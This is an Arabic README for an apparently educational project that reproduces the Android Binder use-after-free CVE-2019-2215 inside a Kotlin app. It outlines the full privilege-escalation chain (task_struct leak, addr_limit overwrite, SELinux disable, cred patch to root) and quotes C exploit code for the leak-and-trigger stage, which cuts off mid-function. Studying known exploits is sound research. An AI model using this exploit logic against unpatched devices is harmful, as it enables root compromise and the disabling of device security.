
عرض توضيحي لثغرة CVE-2019-2215 (Bad Binder) لنظام Android Q
هذا المستودع مشروع اختباري صغير لدراسة الثغرة الأمنية
CVE-2019-2215 (Bad Binder) وكتابة نموذج أولي عملي للاستغلال على Android مع
واجهة رسومية بسيطة باستخدام Kotlin/Jetpack Compose.
في ملف README سأقوم بـ:
تم إعداد سير عمل GitHub Actions في المستودع، والذي يقوم عند كل push/PR ببناء المشروع
بأمر ./gradlew assembleDebug وينشر ملف badbinder-debug.apk الجاهز كأثر (Artifact).
يمكنك تنزيله كالتالي:
badbinder-debug-apk
مع ملف APK المبني.تم ذلك لتسهيل الأمر إذا أردت فقط اختبار التطبيق دون إعداد بيئة محلية.
CVE-2019-2215 هي ثغرة Use-After-Free (UAF) في نظام IPC الخاص بـ Binder في نواة Android.
بشكل مبسّط:
struct binder_thread التي تصف الخيط الذي ينفّذ استدعاءات Binder؛waitqueue)؛remove_wait_queue،
مما يفتح سيناريو UAF الكلاسيكي؛لقد قمت بتحليل نظري أكثر تفصيلًا بالاعتماد على المواد التالية:
وفقًا للمهمة، يُنصح باستخدام AVD مع صورة Android 10.0 (Q) x86_64.
قمتُ بالخطوات التالية:
/dev/binder.adb shell
ls -l /dev/binder
في هذه المرحلة واجهت حقيقة غير مريحة:
في الوقت الحالي صور AVD الحديثة تأتي بالفعل مع نواة مُصحّحة تكون فيها
CVE-2019-2215 مغلقة. أي أنه لن يكون من الممكن فعليًا الحصول على root على المحاكي
الرسمي الحديث — الاستغلال يفشل في مراحل متأخرة أو ببساطة لا يمنح رفع صلاحيات.
في النهاية، أستخدم AVD كـمدرّب لإعادة إنتاج منطق الاستغلال:
addr_limit،هذه نقطة مهمة: كل الكود والتقرير أدناه — تعليمي، وليس «قتاليًا».
قمت بإنشاء تطبيق Android صغير:
الخطوات الرئيسية:
أنشأت مشروعًا عاديًا في Android Studio (Kotlin، مع دعم أدنى لنظام Android 10).
أضفت NDK وCMake.
أضفت الملف الأصلي الخاص بالاستغلال (وهو ملف cve-2019-2215.c الذي يحتوي الدوال
leak_task_struct, overwrite_addr_limit, وما إلى ذلك).
أضفت في CMakeLists.txt بناء مكتبة libcve-2019-2215.so.
في MainActivity:
init {
System.loadLibrary("cve-2019-2215")
}
external fun runNativeExploit(): String
external fun setNativeLogger(logger: NativeLogger)
على جانب Kotlin قمت بإنشاء ExploitViewModel، وهو ينفّذ الواجهة
NativeLogger ويجمع جميع الرسائل في StateFlow<List<String>>. واجهة المستخدم مشتركة
على هذا التدفق وتعرض السجل في «الطرفية».
عند بدء النشاط، أستدعي setNativeLogger(viewModel) حتى يتلقى الكود الأصلي
كائنًا يمكن إرسال السلاسل إليه.
أقوم ببناء التطبيق وتثبيته:
./gradlew installDebug
أُشغّل AVD والتطبيق نفسه.
أرى على الشاشة «الطرفية» وزر RUN EXPLOIT.
عند الضغط:
runNativeExploit() في خيط خلفي.على نواة حقيقية قابلة للاستغلال، كنت أتوقع رؤية شيء مثل ما يلي في النهاية:
[+] Selinux changed: Permissive now.
[+] Root escalation successful!
uid=0(root)...
على محاكي Android 10 الحديث، هذا بالطبع لا يحدث، لكن كل شيء آخر —
تسريب task_struct، محاولة إعادة كتابة addr_limit، حساب cred وkernel_base —
يعمل كما لو كان «سيناريو»، وهذا هو المطلوب للمهمة.
فيما يلي المخطط المنطقي للاستغلال مع الربط بالدوال C المحددة.
الخطة عالية المستوى هي:
struct binder_thread واستخدامه من أجل
تسريب عنوان task_struct للعملية الخاصة بك (leak_task_struct).addr_limit في task_struct (overwrite_addr_limit) — وهذا يزيل
القيد بين عناوين user-space وkernel-space لعمليات
copy_to_user / copy_from_user اللاحقة.arb_read / arb_write).cred للعملية الحالية وقاعدة النواة (verifying)، ثم:
selinux_enforcing = 0)،cred لتصبح root مع الحصول على كامل مجموعة
capability (runNativeExploit).بالتوازي، قمت بدمج مسجّل JNI بحيث تكون جميع هذه المراحل مرئية مباشرة في الواجهة.
task_struct (leak_task_struct)الدالة الرئيسية:
void leak_task_struct() {
android_log("[*] Starting leak_task_struct...");
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(0, &cpu_set);
ret = sched_setaffinity(0, sizeof(cpu_set), &cpu_set);
assert(ret >= 0);
...
}
ماذا تفعل الدالة:
تثبّت الخيط على CPU 0 (sched_setaffinity) لجعل سلوك مُخصِّص الذاكرة في النواة
أكثر قابلية للتنبؤ. وهذا يحسّن استقرار استغلال UAF.
تفتح /dev/binder وتنشئ واصف epoll:
fd = open("/dev/binder", O_RDONLY);
epfd = epoll_create(1000);
يتم تسجيل واصف Binder في epoll:
epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
تُجهّز مصفوفة struct iovec iov_buffers[IOVEC_N] وتُخصّص الذاكرة:
spinner = mmap((void *)0x100000000, page_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
من المهم هنا أن تكون البتات السفلية البالغة 32 من العنوان أصفارًا:
if (((long) spinner & 0xffffffff) != 0) {
android_log("[!] mmap returned wrong address!");
return;
}
يتوافق هذا مع التقنية الواردة في مقالات الاستغلال: لاحقًا تقوم النواة بتفسير جزء من بياناتنا كبنى تحتوي مؤشرات، وهذه العنونة «المحاذاة بشكل جميل» تسهّل إساءة الاستخدام.
ثم يتم ملء الحقلين iov_buffers[0xa] وiov_buffers[0xb] بحيث
تقوم النواة في لحظة UAF بنسخ جزء من الذاكرة إلى الأنبوب حيث يوجد المؤشر إلى
task_struct.
تُنشئ أنبوبًا وتضبط حجم مخزنه على 0x1000:
int pipe_fd[2];
ret = pipe(pipe_fd);
fcntl(pipe_fd[1], F_SETPIPE_SZ, 0x1000);
fcntl(pipe_fd[0], F_SETPIPE_SZ, 0x1000);
بعد ذلك — سباق UAF الكلاسيكي. أقوم بتشغيل عملية فرعية:
if (!fork()) {
android_log("\t[C] Long sleep to ensure accuracy...");
sleep(1);
android_log("\t[*] Triggering UAF");
epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);
android_log("\t[C] Removing useless data from pipe...");
ret = read(pipe_fd[0], buf, 0x1000);
...
_exit(0);
}